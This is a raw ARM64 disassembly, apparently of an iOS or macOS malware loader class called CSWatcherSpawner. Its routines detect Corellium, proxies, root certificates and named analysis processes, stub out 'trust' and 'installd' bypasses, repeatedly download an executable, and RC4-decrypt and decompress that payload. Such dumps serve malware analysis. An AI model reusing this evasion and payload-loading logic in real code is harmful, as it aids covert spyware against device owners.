    100005b58hint
    100005b5cb 0x100005a78
    100005b60
    100005b60loc_100005b60:
    100005b60mov x0, x19
    100005b64bl __ZN16CSWatcherSpawner16CSWatcherSpawner19is_rootca_installedEv
    100005b68cbz w0, 0x100005b9c
    100005b6cldr x20, [x19+272]
    100005b70mov x0, x20
    100005b74bl strlen@plt
    100005b78add x0, x0, 1
    100005b7cmovz w1, 1
    100005b80bl calloc@plt
    100005b84mov x21, x0
    100005b88mov x1, x20
    100005b8cbl strcpy@plt
    100005b90adr x2, 0x3b777
    100005b94hint
    100005b98b 0x100005a78
    100005b9c
    100005b9cloc_100005b9c:
    100005b9cmovz w0, 1
    100005ba0ldp x29, x30, [sp+48]
    100005ba4ldp x20, x19, [sp+32]
    100005ba8ldp x22, x21, [sp+16]
    100005bacadd sp, sp, 64
    100005bb0retab
    100005bb4
    100005bb4loc_100005bb4:
    100005bb4bl _Unwind_Resume@plt
    100005900
    100005bb8
    100005bb8__ZN16CSWatcherSpawner16CSWatcherSpawner12is_corelliumEv:
    100005bb8pacibsp
    100005bbcstp x29, x30, [sp-16]!
    100005bc0add x29, sp, 0
    100005bc4hint
    100005bc8ldr x16, 0x3edb0
    100005bccpaciza x16
    100005bd0mov x2, x16
    100005bd4movz w0, 0
    100005bd8movz x1, 0
    100005bdcmovz w3, 8
    100005be0bl _unicopy
    100005be4movz w0, 0
    100005be8ldp x29, x30, [sp], 16
    100005becretab
    100005bb8
    100005bf0
    100005bf0__ZN16CSWatcherSpawner16CSWatcherSpawner17is_watcher_existsEv:
    100005bf0pacibsp
    100005bf4stp x29, x30, [sp-16]!
    100005bf8add x29, sp, 0
    100005bfcbl __ZN5Utils13getCountNamesEv
    100005c00subs wzr, w0, 1
    100005c04cset w0, gt
    100005c08ldp x29, x30, [sp], 16
    100005c0cretab
    100005bf0
    100005c10
    100005c10__ZN16CSWatcherSpawner16CSWatcherSpawner17is_unsafe_runningEv:
    100005c10pacibsp
    100005c14stp x29, x30, [sp-16]!
    100005c18add x29, sp, 0
    100005c1chint
    100005c20ldr x0, 0x42ef8
    100005c24bl __ZN5Utils6getPidEPKc
    100005c28cbz w0, 0x100005c3c
    100005c2cmovz w8, 1
    100005c30mov x0, x8
    100005c34ldp x29, x30, [sp], 16
    100005c38retab
    100005c3c
    100005c3cloc_100005c3c:
    100005c3chint
    100005c40ldr x0, 0x42ee0
    100005c44bl __ZN5Utils6getPidEPKc
    100005c48cbz w0, 0x100005c5c
    100005c4cmovz w8, 1
    100005c50mov x0, x8
    100005c54ldp x29, x30, [sp], 16
    100005c58retab
    100005c5c
    100005c5cloc_100005c5c:
    100005c5chint
    100005c60ldr x0, 0x42ec8
    100005c64bl __ZN5Utils6getPidEPKc
    100005c68cbz w0, 0x100005c7c
    100005c6cmovz w8, 1
    100005c70mov x0, x8
    100005c74ldp x29, x30, [sp], 16
    100005c78retab
    100005c7c
    100005c7cloc_100005c7c:
    100005c7chint
    100005c80ldr x0, 0x42eb0
    100005c84bl __ZN5Utils6getPidEPKc
    100005c88cbz w0, 0x100005c9c
    100005c8cmovz w8, 1
    100005c90mov x0, x8
    100005c94ldp x29, x30, [sp], 16
    100005c98retab
    100005c9c
    100005c9cloc_100005c9c:
    100005c9chint
    100005ca0ldr x0, 0x42e98
    100005ca4bl __ZN5Utils6getPidEPKc
    100005ca8cbz w0, 0x100005cbc
    100005cacmovz w8, 1
    100005cb0mov x0, x8
    100005cb4ldp x29, x30, [sp], 16
    100005cb8retab
    100005cbc
    100005cbcloc_100005cbc:
    100005cbchint
    100005cc0ldr x0, 0x42e80
    100005cc4bl __ZN5Utils6getPidEPKc
    100005cc8cbz w0, 0x100005cdc
    100005cccmovz w8, 1
    100005cd0mov x0, x8
    100005cd4ldp x29, x30, [sp], 16
    100005cd8retab
    100005cdc
    100005cdcloc_100005cdc:
    100005cdchint
    100005ce0ldr x0, 0x42e68
    100005ce4bl __ZN5Utils6getPidEPKc
    100005ce8cbz w0, 0x100005cfc
    100005cecmovz w8, 1
    100005cf0mov x0, x8
    100005cf4ldp x29, x30, [sp], 16
    100005cf8retab
    100005cfc
    100005cfcloc_100005cfc:
    100005cfchint
    100005d00ldr x0, 0x42e50
    100005d04bl __ZN5Utils6getPidEPKc
    100005d08cbz w0, 0x100005d1c
    100005d0cmovz w8, 1
    100005d10mov x0, x8
    100005d14ldp x29, x30, [sp], 16
    100005d18retab
    100005d1c
    100005d1cloc_100005d1c:
    100005d1chint
    100005d20ldr x0, 0x42e38
    100005d24bl __ZN5Utils6getPidEPKc
    100005d28subs wzr, w0, 0
    100005d2ccset w8, ne
    100005d30mov x0, x8
    100005d34ldp x29, x30, [sp], 16
    100005d38retab
    100005d3csubs wzr, w1, 1
    100005d40b.ne 0x100005d5c
    100005d44bl objc_begin_catch@plt
    100005d48bl objc_end_catch@plt
    100005d4cmovz w8, 0
    100005d50mov x0, x8
    100005d54ldp x29, x30, [sp], 16
    100005d58retab
    100005d5c
    100005d5cloc_100005d5c:
    100005d5cbl _Unwind_Resume@plt
    100005c10
    100005d60
    100005d60__ZN16CSWatcherSpawner16CSWatcherSpawner16is_proxy_runningEv:
    100005d60pacibsp
    100005d64sub sp, sp, 48
    100005d68stp x20, x19, [sp+16]
    100005d6cstp x29, x30, [sp+32]
    100005d70add x29, sp, 32
    100005d74hint
    100005d78ldr x0, 0x42810
    100005d7cadr x2, 0x3f56c
    100005d80hint
    100005d84bl fn_10003e340
    100005d88mov x2, x0
    100005d8chint
    100005d90ldr x0, 0x42808
    100005d94add x4, sp, 8
    100005d98add x5, sp, 0
    100005d9cmovz w3, 1
    100005da0bl fn_10003e500
    100005da4bl fn_10003e3c0
    100005da8mov x19, x0
    100005dacadr x2, 0x3f55c
    100005db0hint
    100005db4bl fn_10003e520
    100005db8movn x8, 0x8000000000000000
    100005dbcsubs xzr, x0, x8
    100005dc0b.ne 0x100005df0
    100005dc4adr x2, 0x3f564
    100005dc8hint
    100005dccmov x0, x19
    100005dd0bl fn_10003e520
    100005dd4movn x8, 0x8000000000000000
    100005dd8subs xzr, x0, x8
    100005ddccset w0, ne
    100005de0ldp x29, x30, [sp+32]
    100005de4ldp x20, x19, [sp+16]
    100005de8add sp, sp, 48
    100005decretab
    100005df0
    100005df0loc_100005df0:
    100005df0movz w0, 1
    100005df4ldp x29, x30, [sp+32]
    100005df8ldp x20, x19, [sp+16]
    100005dfcadd sp, sp, 48
    100005e00retab
    100005e04b 0x100005e14
    100005e08b 0x100005e14
    100005e0cb 0x100005e14
    100005e10b 0x100005e14
    100005e14
    100005e14loc_100005e14:
    100005e14subs wzr, w1, 1
    100005e18b.ne 0x100005e38
    100005e1cbl objc_begin_catch@plt
    100005e20bl objc_end_catch@plt
    100005e24movz w0, 0
    100005e28ldp x29, x30, [sp+32]
    100005e2cldp x20, x19, [sp+16]
    100005e30add sp, sp, 48
    100005e34retab
    100005e38
    100005e38loc_100005e38:
    100005e38bl _Unwind_Resume@plt
    100005d60
    100005e3c
    100005e3c__ZN16CSWatcherSpawner16CSWatcherSpawner19is_rootca_installedEv:
    100005e3cpacibsp
    100005e40stp x20, x19, [sp-32]!
    100005e44stp x29, x30, [sp+16]
    100005e48add x29, sp, 16
    100005e4cadr x0, 0x3b570
    100005e50hint
    100005e54bl strdup@plt
    100005e58mov x20, x0
    100005e5cmov x1, x0
    100005e60movz w2, 5
    100005e64bl __ZN16CSWatcherSpawner16CSWatcherSpawner12ExecuteQueryEPKci
    100005e68mov x19, x0
    100005e6cmov x0, x20
    100005e70bl free@plt
    100005e74adr x0, 0x3b579
    100005e78hint
    100005e7cbl strdup@plt
    100005e80adr x2, 0x3b59f
    100005e84hint
    100005e88adr x16, 7540
    100005e8chint
    100005e90paciza x16
    100005e94mov x3, x16
    100005e98mov x1, x0
    100005e9cbl __ZN16CSWatcherSpawner16CSWatcherSpawner12ExecuteQueryEPKcPvPFvS3_P12sqlite3_stmtE
    100005ea0subs wzr, w19, 0
    100005ea4ccmp w0, 0, 0, ne
    100005ea8cset w0, eq
    100005eacldp x29, x30, [sp+16]
    100005eb0ldp x20, x19, [sp], 32
    100005eb4retab
    100005eb8b 0x100005ebc
    100005ebc
    100005ebcloc_100005ebc:
    100005ebcmov x19, x1
    100005ec0bl objc_begin_catch@plt
    100005ec4subs wzr, w19, 2
    100005ec8b.ne 0x100005ee0
    100005eccbl objc_end_catch@plt
    100005ed0movz w0, 0
    100005ed4ldp x29, x30, [sp+16]
    100005ed8ldp x20, x19, [sp], 32
    100005edcretab
    100005ee0
    100005ee0loc_100005ee0:
    100005ee0bl objc_exception_rethrow@plt
    100005ee4brk 1
    100005ee8mov x19, x0
    100005eecbl objc_end_catch@plt
    100005ef0mov x0, x19
    100005ef4bl _Unwind_Resume@plt
    100005ef8bl fn_100005128
    100005e3c
    100005efc
    100005efc__ZN16CSWatcherSpawner16CSWatcherSpawner16ApplyTrustBypassEv:
    100005efcmovz w0, 1
    100005f00ret x30
    100005efc
    100005f04
    100005f04__ZN16CSWatcherSpawner16CSWatcherSpawner12ExecuteQueryEPKcPvPFvS3_P12sqlite3_stmtE:
    100005f04pacibsp
    100005f08sub sp, sp, 64
    100005f0cstp x22, x21, [sp+16]
    100005f10stp x20, x19, [sp+32]
    100005f14stp x29, x30, [sp+48]
    100005f18add x29, sp, 48
    100005f1cmov x19, x3
    100005f20mov x20, x2
    100005f24mov x21, x1
    100005f28adr x0, 0x3b437
    100005f2chint
    100005f30add x1, sp, 8
    100005f34bl sqlite3_open@plt
    100005f38cbnz w0, 0x100005f74
    100005f3cldr x0, [sp+8]
    100005f40adr x1, 0x3b458
    100005f44hint
    100005f48movz x2, 0
    100005f4cmovz x3, 0
    100005f50movz x4, 0
    100005f54bl sqlite3_exec@plt
    100005f58ldr x0, [sp+8]
    100005f5cadd x3, sp, 0
    100005f60mov x1, x21
    100005f64movn w2, 0
    100005f68movz x4, 0
    100005f6cbl sqlite3_prepare@plt
    100005f70cbz w0, 0x100005fc4
    100005f74
    100005f74loc_100005f74:
    100005f74movz w20, 0
    100005f78movz w19, 0
    100005f7c
    100005f7cloc_100005f7c:
    100005f7cldr x0, [sp+8]
    100005f80adr x1, 0x3b42b
    100005f84hint
    100005f88movz x2, 0
    100005f8cmovz x3, 0
    100005f90movz x4, 0
    100005f94bl sqlite3_exec@plt
    100005f98ldr x0, [sp]
    100005f9cbl sqlite3_finalize@plt
    100005fa0ldr x0, [sp+8]
    100005fa4bl sqlite3_close@plt
    100005fa8cbnz w20, 0x100005fe8
    100005facmov x0, x19
    100005fb0ldp x29, x30, [sp+48]
    100005fb4ldp x20, x19, [sp+32]
    100005fb8ldp x22, x21, [sp+16]
    100005fbcadd sp, sp, 64
    100005fc0retab
    100005fc4
    100005fc4loc_100005fc4:
    100005fc4ldr x1, [sp]
    100005fc8mov x0, x20
    100005fccblraaz x19
    100005fd0ldr x0, [sp]
    100005fd4bl sqlite3_step@plt
    100005fd8movz w20, 0
    100005fdcsubs wzr, w0, 100
    100005fe0cset w19, eq
    100005fe4b 0x100005f7c
    100005fe8
    100005fe8loc_100005fe8:
    100005fe8bl objc_exception_rethrow@plt
    100005fecbrk 1
    100005ff0b 0x100005ffc
    100005ff4mov x19, x0
    100005ff8b 0x100006024
    100005ffc
    100005ffcloc_100005ffc:
    100005ffcmov x19, x1
    100006000bl objc_begin_catch@plt
    100006004subs wzr, w19, 2
    100006008b.ne 0x100006014
    10000600cbl objc_end_catch@plt
    100006010b 0x100005f74
    100006014
    100006014loc_100006014:
    100006014movz w20, 1
    100006018b 0x100005f7c
    10000601cmov x19, x0
    100006020cbz w20, 0x100006028
    100006024
    100006024loc_100006024:
    100006024bl objc_end_catch@plt
    100006028
    100006028loc_100006028:
    100006028mov x0, x19
    10000602cbl _Unwind_Resume@plt
    100006030bl fn_100005128
    100005f04
    100006034
    100006034__ZN16CSWatcherSpawner16CSWatcherSpawner12ExecuteQueryEPKci:
    100006034pacibsp
    100006038sub sp, sp, 48
    10000603cstp x20, x19, [sp+16]
    100006040stp x29, x30, [sp+32]
    100006044add x29, sp, 32
    100006048mov x19, x2
    10000604cmov x20, x1
    100006050adr x0, 0x3b30f
    100006054hint
    100006058add x1, sp, 8
    10000605cbl sqlite3_open@plt
    100006060cbnz w0, 0x10000609c
    100006064ldr x0, [sp+8]
    100006068adr x1, 0x3b330
    10000606chint
    100006070movz x2, 0
    100006074movz x3, 0
    100006078movz x4, 0
    10000607cbl sqlite3_exec@plt
    100006080ldr x0, [sp+8]
    100006084add x3, sp, 0
    100006088mov x1, x20
    10000608cmovn w2, 0
    100006090movz x4, 0
    100006094bl sqlite3_prepare@plt
    100006098cbz w0, 0x1000060e8
    10000609c
    10000609cloc_10000609c:
    10000609cmovz w20, 0
    1000060a0movz w19, 0
    1000060a4
    1000060a4loc_1000060a4:
    1000060a4ldr x0, [sp+8]
    1000060a8adr x1, 0x3b303
    1000060achint
    1000060b0movz x2, 0
    1000060b4movz x3, 0
    1000060b8movz x4, 0
    1000060bcbl sqlite3_exec@plt
    1000060c0ldr x0, [sp]
    1000060c4bl sqlite3_finalize@plt
    1000060c8ldr x0, [sp+8]
    1000060ccbl sqlite3_close@plt
    1000060d0cbnz w20, 0x100006110
    1000060d4mov x0, x19
    1000060d8ldp x29, x30, [sp+32]
    1000060dcldp x20, x19, [sp+16]
    1000060e0add sp, sp, 48
    1000060e4retab
    1000060e8
    1000060e8loc_1000060e8:
    1000060e8ldr x0, [sp]
    1000060ecmovz w1, 1
    1000060f0mov x2, x19
    1000060f4bl sqlite3_bind_int@plt
    1000060f8ldr x0, [sp]
    1000060fcbl sqlite3_step@plt
    100006100movz w20, 0
    100006104subs wzr, w0, 100
    100006108cset w19, eq
    10000610cb 0x1000060a4
    100006110
    100006110loc_100006110:
    100006110bl objc_exception_rethrow@plt
    100006114brk 1
    100006118b 0x100006124
    10000611cmov x19, x0
    100006120b 0x10000614c
    100006124
    100006124loc_100006124:
    100006124mov x19, x1
    100006128bl objc_begin_catch@plt
    10000612csubs wzr, w19, 2
    100006130b.ne 0x10000613c
    100006134bl objc_end_catch@plt
    100006138b 0x10000609c
    10000613c
    10000613cloc_10000613c:
    10000613cmovz w20, 1
    100006140b 0x1000060a4
    100006144mov x19, x0
    100006148cbz w20, 0x100006150
    10000614c
    10000614cloc_10000614c:
    10000614cbl objc_end_catch@plt
    100006150
    100006150loc_100006150:
    100006150mov x0, x19
    100006154bl _Unwind_Resume@plt
    100006158bl fn_100005128
    100006034
    10000615c
    10000615c__ZN16CSWatcherSpawner16CSWatcherSpawner14chmodBundleDirEv:
    10000615cpacibsp
    100006160stp x20, x19, [sp-32]!
    100006164stp x29, x30, [sp+16]
    100006168add x29, sp, 16
    10000616cldr w20, [x0+192]
    100006170cbz w20, 0x100006188
    100006174subs wzr, w20, 0
    100006178cset w0, ne
    10000617cldp x29, x30, [sp+16]
    100006180ldp x20, x19, [sp], 32
    100006184retab
    100006188
    100006188loc_100006188:
    100006188mov x19, x0
    10000618cstr xzr, [x0+176]
    100006190str wzr, [x0+192]
    100006194movz w0, 5
    100006198bl sleep@plt
    10000619cstr wzr, [x19+192]
    1000061a0subs wzr, w20, 0
    1000061a4cset w0, ne
    1000061a8ldp x29, x30, [sp+16]
    1000061acldp x20, x19, [sp], 32
    1000061b0retab
    10000615c
    1000061b4
    1000061b4__ZN16CSWatcherSpawner16CSWatcherSpawner19ApplyInstalldBypassEv:
    1000061b4movz w0, 1
    1000061b8ret x30
    1000061b4
    1000061bc
    1000061bc__ZN16CSWatcherSpawner16CSWatcherSpawner11CopyWatcherEv:
    1000061bcpacibsp
    1000061c0stp x22, x21, [sp-48]!
    1000061c4stp x20, x19, [sp+16]
    1000061c8stp x29, x30, [sp+32]
    1000061ccadd x29, sp, 32
    1000061d0mov x20, x0
    1000061d4adr x0, 0x425e4
    1000061d8hint
    1000061dcadr x1, 0x3b250
    1000061e0hint
    1000061e4bl fopen@plt
    1000061e8mov x19, x0
    1000061eccbz x0, 0x100006248
    1000061f0mov x0, x19
    1000061f4movz x1, 0
    1000061f8movz w2, 2
    1000061fcbl fseek@plt
    100006200mov x0, x19
    100006204bl ftell@plt
    100006208str x0, [x20+216]
    10000620cmov x0, x19
    100006210movz x1, 0
    100006214movz w2, 0
    100006218bl fseek@plt
    10000621cldr x21, [x20+216]
    100006220movz w0, 1
    100006224mov x1, x21
    100006228bl calloc@plt
    10000622cstr x0, [x20+224]
    100006230movz w1, 1
    100006234mov x2, x21
    100006238mov x3, x19
    10000623cbl fread@plt
    100006240mov x0, x19
    100006244bl fclose@plt
    100006248
    100006248loc_100006248:
    100006248subs xzr, x19, 0
    10000624ccset w0, ne
    100006250ldp x29, x30, [sp+32]
    100006254ldp x20, x19, [sp+16]
    100006258ldp x22, x21, [sp], 48
    10000625cretab
    100006260mov x19, x1
    100006264bl objc_begin_catch@plt
    100006268subs wzr, w19, 2
    10000626cb.ne 0x100006288
    100006270bl objc_end_catch@plt
    100006274movz w0, 0
    100006278ldp x29, x30, [sp+32]
    10000627cldp x20, x19, [sp+16]
    100006280ldp x22, x21, [sp], 48
    100006284retab
    100006288
    100006288loc_100006288:
    100006288bl objc_exception_rethrow@plt
    10000628cbrk 1
    100006290mov x19, x0
    100006294bl objc_end_catch@plt
    100006298mov x0, x19
    10000629cbl _Unwind_Resume@plt
    1000062a0bl fn_100005128
    1000061bc
    1000062a4
    1000062a4__ZN16CSWatcherSpawner16CSWatcherSpawner13CheckMaintainEv:
    1000062a4ret x30
    1000062a4
    1000062a8
    1000062a8__ZN16CSWatcherSpawner16CSWatcherSpawner18downloadExecutableEv:
    1000062a8pacibsp
    1000062acsub sp, sp, 80
    1000062b0stp x24, x23, [sp+16]
    1000062b4stp x22, x21, [sp+32]
    1000062b8stp x20, x19, [sp+48]
    1000062bcstp x29, x30, [sp+64]
    1000062c0add x29, sp, 64
    1000062c4ldr x8, [x0+208]
    1000062c8cbz x8, 0x1000062e4
    1000062cc
    1000062ccloc_1000062cc:
    1000062ccldp x29, x30, [sp+64]
    1000062d0ldp x20, x19, [sp+48]
    1000062d4ldp x22, x21, [sp+32]
    1000062d8ldp x24, x23, [sp+16]
    1000062dcadd sp, sp, 80
    1000062e0retab
    1000062e4
    1000062e4loc_1000062e4:
    1000062e4mov x19, x0
    1000062e8adrp x21, 0x42000
    1000062ecadrp x22, 0x42000
    1000062f0adrp x23, 0x42000
    1000062f4
    1000062f4loc_1000062f4:
    1000062f4str xzr, [sp+8]
    1000062f8ldr x0, [x21+1400]
    1000062fcldr x2, [x19+272]
    100006300bl fn_10003e580
    100006304mov x2, x0
    100006308ldr x0, [x22+1408]
    10000630cbl fn_10003e200
    100006310mov x2, x0
    100006314ldr x0, [x23+1416]
    100006318add x4, sp, 8
    10000631cmovz w3, 2
    100006320bl fn_10003e360
    100006324mov x20, x0
    100006328ldr x8, [sp+8]
    10000632csubs xzr, x0, 0
    100006330ccmp x8, 0, 0, ne
    100006334b.ne 0x100006350
    100006338mov x0, x20
    10000633cbl fn_10003e280
    100006340str x0, [x19+208]
    100006344mov x0, x20
    100006348bl fn_10003e4a0
    10000634cstr x0, [x19+200]
    100006350
    100006350loc_100006350:
    100006350ldr x8, [x19+208]
    100006354cbnz x8, 0x1000062cc
    100006358
    100006358loc_100006358:
    100006358ldr w20, [x19+252]
    10000635cbl rand@plt
    100006360ldp w9, w8, [x19+252]
    100006364sub w8, w8, w9
    100006368udiv w9, w0, w8
    10000636cmsub w8, w9, w8, w0
    100006370add w0, w8, w20
    100006374bl sleep@plt
    100006378ldr x8, [x19+208]
    10000637ccbz x8, 0x1000062f4
    100006380b 0x1000062cc
    100006384b 0x10000638c
    100006388b 0x10000638c
    10000638c
    10000638cloc_10000638c:
    10000638csubs wzr, w1, 1
    100006390b.ne 0x1000063a8
    100006394bl objc_begin_catch@plt
    100006398bl objc_end_catch@plt
    10000639cldr x8, [x19+208]
    1000063a0cbz x8, 0x100006358
    1000063a4b 0x1000062cc
    1000063a8
    1000063a8loc_1000063a8:
    1000063a8bl _Unwind_Resume@plt
    1000062a8
    1000063ac
    1000063ac__ZN16CSWatcherSpawner16CSWatcherSpawner22downloadExecutableOnceEv:
    1000063acpacibsp
    1000063b0sub sp, sp, 48
    1000063b4stp x20, x19, [sp+16]
    1000063b8stp x29, x30, [sp+32]
    1000063bcadd x29, sp, 32
    1000063c0mov x19, x0
    1000063c4str xzr, [sp+8]
    1000063c8hint
    1000063ccldr x0, 0x421ac
    1000063d0ldr x2, [x19+272]
    1000063d4bl fn_10003e580
    1000063d8mov x2, x0
    1000063dchint
    1000063e0ldr x0, 0x421a0
    1000063e4bl fn_10003e200
    1000063e8mov x2, x0
    1000063echint
    1000063f0ldr x0, 0x42198
    1000063f4add x4, sp, 8
    1000063f8movz w3, 2
    1000063fcbl fn_10003e360
    100006400mov x20, x0
    100006404ldr x8, [sp+8]
    100006408subs xzr, x0, 0
    10000640cccmp x8, 0, 0, ne
    100006410b.ne 0x10000642c
    100006414mov x0, x20
    100006418bl fn_10003e280
    10000641cstr x0, [x19+208]
    100006420mov x0, x20
    100006424bl fn_10003e4a0
    100006428str x0, [x19+200]
    10000642c
    10000642cloc_10000642c:
    10000642cldp x29, x30, [sp+32]
    100006430ldp x20, x19, [sp+16]
    100006434add sp, sp, 48
    100006438retab
    10000643cb 0x100006444
    100006440b 0x100006444
    100006444
    100006444loc_100006444:
    100006444subs wzr, w1, 1
    100006448b.ne 0x100006464
    10000644cbl objc_begin_catch@plt
    100006450bl objc_end_catch@plt
    100006454ldp x29, x30, [sp+32]
    100006458ldp x20, x19, [sp+16]
    10000645cadd sp, sp, 48
    100006460retab
    100006464
    100006464loc_100006464:
    100006464bl _Unwind_Resume@plt
    1000063ac
    100006468
    100006468__ZN16CSWatcherSpawner16CSWatcherSpawner13OpeningBinaryEv:
    100006468pacibsp
    10000646cstp x24, x23, [sp-64]!
    100006470stp x22, x21, [sp+16]
    100006474stp x20, x19, [sp+32]
    100006478stp x29, x30, [sp+48]
    10000647cadd x29, sp, 48
    100006480sub sp, sp, 512
    100006484mov x19, x0
    100006488ldp x20, x23, [x0+200]
    10000648cmov x0, x20
    100006490movz w1, 1
    100006494bl calloc@plt
    100006498mov x21, x0
    10000649cldr x22, [x19+280]
    1000064a0mov x0, x22
    1000064a4bl strlen@plt
    1000064a8movz x8, 0
    1000064acadd x9, sp, 0
    1000064b0add x10, sp, 256
    1000064b4
    1000064b4loc_1000064b4:
    1000064b4orr w11, w8, 1
    1000064b8add x12, x8, 1
    1000064bcadd x13, x9, x8
    1000064c0strb w11, [x13+1]
    1000064c4sdiv x11, x12, x0
    1000064c8msub x11, x11, x0, x12
    1000064ccsdiv x12, x8, x0
    1000064d0msub x12, x12, x0, x8
    1000064d4ldrb w12, [x22+x12]
    1000064d8ldrb w11, [x22+x11]
    1000064dcstrb w8, [x13]
    1000064e0add x13, x10, x8
    1000064e4strb w12, [x13]
    1000064e8strb w11, [x13+1]
    1000064ecadd x8, x8, 2
    1000064f0subs xzr, x8, 256
    1000064f4b.ne 0x1000064b4
    1000064f8movz x8, 0
    1000064fcmovz w11, 0
    100006500add x9, sp, 0
    100006504add x10, sp, 256
    100006508
    100006508loc_100006508:
    100006508ldrb w12, [x9+x8]
    10000650cadd w11, w11, w12
    100006510ldrb w13, [x10+x8]
    100006514add w11, w11, w13
    100006518and w13, w11, 255
    10000651csubs w11, wzr, w11
    100006520and w11, w11, 255
    100006524csneg w11, w13, w11, mi
    100006528ldrb w13, [x9+x11]
    10000652cstrb w12, [x9+x11]
    100006530strb w13, [x9+x8]
    100006534add x8, x8, 1
    100006538subs xzr, x8, 256
    10000653cb.ne 0x100006508
    100006540subs xzr, x20, 1
    100006544b.lt 0x1000065c0
    100006548movz w11, 0
    10000654cmovz w9, 0
    100006550add x8, sp, 0
    100006554mov x10, x21
    100006558mov x12, x20
    10000655c
    10000655cloc_10000655c:
    10000655cadd w11, w11, 1
    100006560subs w13, wzr, w11
    100006564and w13, w13, 255
    100006568and w11, w11, 255
    10000656ccsneg w11, w11, w13, mi
    100006570sbfm x13, x11, 0, 31
    100006574ldrb w14, [x8+x13]
    100006578add w9, w9, w14
    10000657cand w15, w9, 255
    100006580subs w9, wzr, w9
    100006584and w9, w9, 255
    100006588csneg w9, w15, w9, mi
    10000658cldrb w15, [x8+x9]
    100006590strb w14, [x8+x9]
    100006594strb w15, [x8+x13]
    100006598ldrb w13, [x8+x9]
    10000659cadd w13, w13, w15
    1000065a0and x13, x13, 255
    1000065a4ldrb w14, [x23], 1
    1000065a8ldrb w13, [x8+x13]
    1000065aceor w13, w13, w14
    1000065b0strb w13, [x10], 1
    1000065b4subs x12, x12, 1
    1000065b8b.ne 0x10000655c
    1000065bcb 0x1000065c4
    1000065c0
    1000065c0loc_1000065c0:
    1000065c0cbz x21, 0x100006648
    1000065c4
    1000065c4loc_1000065c4:
    1000065c4mov x0, x20
    1000065c8bl malloc@plt
    1000065ccmov x22, x0
    1000065d0mov x1, x21
    1000065d4mov x2, x20
    1000065d8bl memcpy@plt
    1000065dcmovz w0, 0xf00000
    1000065e0bl malloc@plt
    1000065e4mov x21, x0
    1000065e8movz w1, 0xf00000
    1000065ecmov x2, x22
    1000065f0mov x3, x20
    1000065f4movz x4, 0
    1000065f8movz w5, 2049
    1000065fcbl compression_decode_buffer@plt
    100006600cbz x0, 0x100006630
    100006604mov x20, x0
    100006608movz w0, 1
    10000660cmov x1, x20
    100006610bl calloc@plt
    100006614str x0, [x19+208]
    100006618cbz x0, 0x100006630
    10000661cmov x1, x21
    100006620mov x2, x20
    100006624bl memcpy@plt
    100006628str x20, [x19+200]
    10000662cmovz w0, 1
    100006630
    100006630loc_100006630:
    100006630add sp, sp, 512
    100006634ldp x29, x30, [sp+48]
    100006638ldp x20, x19, [sp+32]
    10000663cldp x22, x21, [sp+16]
    100006640ldp x24, x23, [sp], 64
    100006644retab
    100006648
    100006648loc_100006648:
    100006648movz w0, 0
    10000664cadd sp, sp, 512
    100006650ldp x29, x30, [sp+48]
    100006654ldp x20, x19, [sp+32]
    100006658ldp x22, x21, [sp+16]
    10000665cldp x24, x23, [sp], 64
    100006660retab
    100006468
    100006664
    100006664__ZN16CSWatcherSpawner16CSWatcherSpawner9DecryptorEPhm:
    100006664pacibsp
    100006668stp x28, x27, [sp-64]!
    10000666cstp x22, x21, [sp+16]
    100006670stp x20, x19, [sp+32]
    100006674stp x29, x30, [sp+48]
    100006678add x29, sp, 48
    10000667csub sp, sp, 512
    100006680mov x19, x2
    100006684mov x20, x1
    100006688mov x22, x0
    10000668cmov x0, x2
    100006690movz w1, 1
    100006694bl calloc@plt
    100006698mov x21, x0
    10000669cldr x22, [x22+280]
    1000066a0mov x0, x22
    1000066a4bl strlen@plt
    1000066a8movz x8, 0
    1000066acadd x9, sp, 0
    1000066b0add x10, sp, 256
    1000066b4
    1000066b4loc_1000066b4:
    1000066b4orr w11, w8, 1
    1000066b8add x12, x8, 1
    1000066bcadd x13, x9, x8
    1000066c0strb w11, [x13+1]
    1000066c4sdiv x11, x12, x0
    1000066c8msub x11, x11, x0, x12
    1000066ccsdiv x12, x8, x0
    1000066d0msub x12, x12, x0, x8
    1000066d4ldrb w12, [x22+x12]
    1000066d8ldrb w11, [x22+x11]
    1000066dcstrb w8, [x13]
    1000066e0add x13, x10, x8
    1000066e4strb w12, [x13]
    1000066e8strb w11, [x13+1]
    1000066ecadd x8, x8, 2
    1000066f0subs xzr, x8, 256
    1000066f4b.ne 0x1000066b4
    1000066f8movz x8, 0
    1000066fcmovz w11, 0
    100006700add x9, sp, 0
    100006704add x10, sp, 256
    100006708
    100006708loc_100006708:
    100006708ldrb w12, [x9+x8]
    10000670cadd w11, w11, w12
    100006710ldrb w13, [x10+x8]
    100006714add w11, w11, w13
    100006718and w13, w11, 255
    10000671csubs w11, wzr, w11
    100006720and w11, w11, 255
    100006724csneg w11, w13, w11, mi
    100006728ldrb w13, [x9+x11]
    10000672cstrb w12, [x9+x11]
    100006730strb w13, [x9+x8]
    100006734add x8, x8, 1
    100006738subs xzr, x8, 256
    10000673cb.ne 0x100006708
    100006740subs xzr, x19, 1
    100006744b.lt 0x1000067b8
    100006748movz w11, 0
    10000674cmovz w9, 0
    100006750add x8, sp, 0
    100006754mov x10, x21
    100006758
    100006758loc_100006758:
    100006758add w11, w11, 1
    10000675csubs w12, wzr, w11
    100006760and w12, w12, 255
    100006764and w11, w11, 255
    100006768csneg w11, w11, w12, mi
    10000676csbfm x12, x11, 0, 31
    100006770ldrb w13, [x8+x12]
    100006774add w9, w9, w13
    100006778and w14, w9, 255
    10000677csubs w9, wzr, w9
    100006780and w9, w9, 255
    100006784csneg w9, w14, w9, mi
    100006788ldrb w14, [x8+x9]
    10000678cstrb w13, [x8+x9]
    100006790strb w14, [x8+x12]
    100006794ldrb w12, [x8+x9]
    100006798add w12, w12, w14
    10000679cand x12, x12, 255
    1000067a0ldrb w13, [x20], 1
    1000067a4ldrb w12, [x8+x12]
    1000067a8eor w12, w12, w13
    1000067acstrb w12, [x10], 1
    1000067b0subs x19, x19, 1
    1000067b4b.ne 0x100006758
    1000067b8
    1000067b8loc_1000067b8:
    1000067b8mov x0, x21
    1000067bcadd sp, sp, 512
    1000067c0ldp x29, x30, [sp+48]
    1000067c4ldp x20, x19, [sp+32]
    1000067c8ldp x22, x21, [sp+16]
    1000067ccldp x28, x27, [sp], 64
    1000067d0retab
    100006664